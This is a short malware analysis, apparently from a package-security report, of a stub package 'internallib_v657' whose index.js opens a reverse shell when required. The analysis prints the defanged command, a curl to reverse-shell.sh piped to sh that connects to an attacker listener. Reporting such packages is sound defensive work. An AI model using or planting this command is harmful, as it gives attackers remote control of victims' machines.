internallib_v657@1.0.1

Analysis

internallib_v657 is a 422-byte stub package whose index.js executes a reverse shell when the module is required. The exported command() function runs /bin/bash -c "curl hxxps://reverse-shell[.]sh/10[.]0[.]73[.]186:443|sh", downloading a shell script from the reverse-shell.sh service and piping it to sh, establishing a shell on the attacker's listener at 10[.]0[.]73[.]186:443. The package has no other functionality and no legitimate purpose.